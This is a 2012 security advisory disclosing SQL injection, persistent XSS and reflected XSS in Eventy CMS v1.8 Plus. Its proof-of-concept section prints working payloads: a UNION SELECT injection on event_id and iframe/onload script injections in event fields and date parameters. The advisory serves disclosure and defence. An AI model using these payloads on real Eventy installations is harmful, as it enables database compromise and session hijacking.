Title:
======
Eventy CMS v1.8 Plus - Multiple Web Vulnerablities


Date:
=====
2012-11-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=756


VL-ID:
=====
756


Common Vulnerability Scoring System:
====================================
8.3


Introduction:
=============
Publish Your Events In Online Calendar. Eventy Is Beautiful And Easy To Use Web Based Event Calendar Software
Publish events like parties, courses, meetings, conferences, workshops, and more in easy and user-friendly way.
Eventy Plus adds features like mailing lists, multi-administrator interface, switchable weekly/monthly view, 
event categories, and rich text editor. Use Eventy or Eventy Plus for your company website, freelancer`s blog, 
club site, online school, or to show your consulting availability. Eventy uses Ajax and runs on web hosts 
with PHP and MySQL.

(Copy of the Vendor Homepage: http://calendarscripts.info/event-calendar-software.html )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Eventy CMS v1.8 Plus.


Report-Timeline:
================
2012-11-13:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
The vulnerability allows an attacker (remote) or local low privileged user account to execute a SQL commands on the 
affected application dbms. The sql injection vulnerability is located in eventy.php file with the bound vulnerable 
event_id parameter. Successful exploitation of the vulnerability results in dbms & application compromise. 
Exploitation requires no user interaction & without privileged user account.

Vulnerable File(s):
				[+] eventy.php

Vulnerable Parameter(s):
				[+] event_id


1.2
A persistent input validation vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
The bug allows remote attackers to implement/inject malicious script code on the application side (persistent). 
The persistent vulnerabilities is located in the the add Event module bound vulnerable Event Title and Event Location 
parameters. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action & privileged web application user account.

Vulnerable Module(s):
				[+] Add Event

Vulnerable Parameter(s):
				[+] Event Title - Event Location

1.3
A non-persistent cross site scripting vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required 
user inter action or local low privileged user account. The vulnerability is located in the eventy.php page the bound vulnerable selyear 
and selmonth parameter. Successful exploitation of the vulnerability result in account steal, client site phishing or client-side 
content request manipulation.

Vulnerable File(s):
				[+] eventy.php

Vulnerable Parameter(s):
				[+] selyear - selmonth


Proof of Concept:
=================
1.1
The SQL injection vulnerability can be exploited by remote attackers without privileged application user accounr and without 
required user inter action. For demonstration or reproduce ...

PoC:
<html><head><body>
<title>SQL Injection Vulnerability - PoC</title>
<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=&selmonth=&event_id=-1869+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13--%20->
</body></head></html>


1.2
The persistent input validation vulnerabilities can be exploited by remote attackers with low or medium required user inter action 
& low privileged user account. For demonstration or reproduce ...

Manaually Reproduce ...
The attacker can create a new event with injecting a malicious code i.e., 
>"<iframe src=http://www.vulnerability-lab.com onload=alert("VL")</iframe>, in the field Event Title - Event Location Fields.
When the admin or any other user view the event the code gets executed. 

Reference(s):
http://eventy.127.0.0.1:8080/eventy-plus/eve_edit.php?m=November&y=2012&d=20


1.3
PoC:
<html><head><body>
<title>Client side - Cross Site Scripting</title>
<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=&selmonth=>"<iframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E>
<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=>"<iframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E&selmonth=April>
</body></head></html>


Risk:
=====
1.1
The security risk of the remote SQL Injection vulnerability is estimated as critical.

1.2
The security risk of the persistent input validation vulnerability is estimated as medium(+).

1.3
The security risk of the client side cross site scripting vulnerability is estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [storm@vulnerability-lab.com] [iel-sayed.blogspot.com]




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===========
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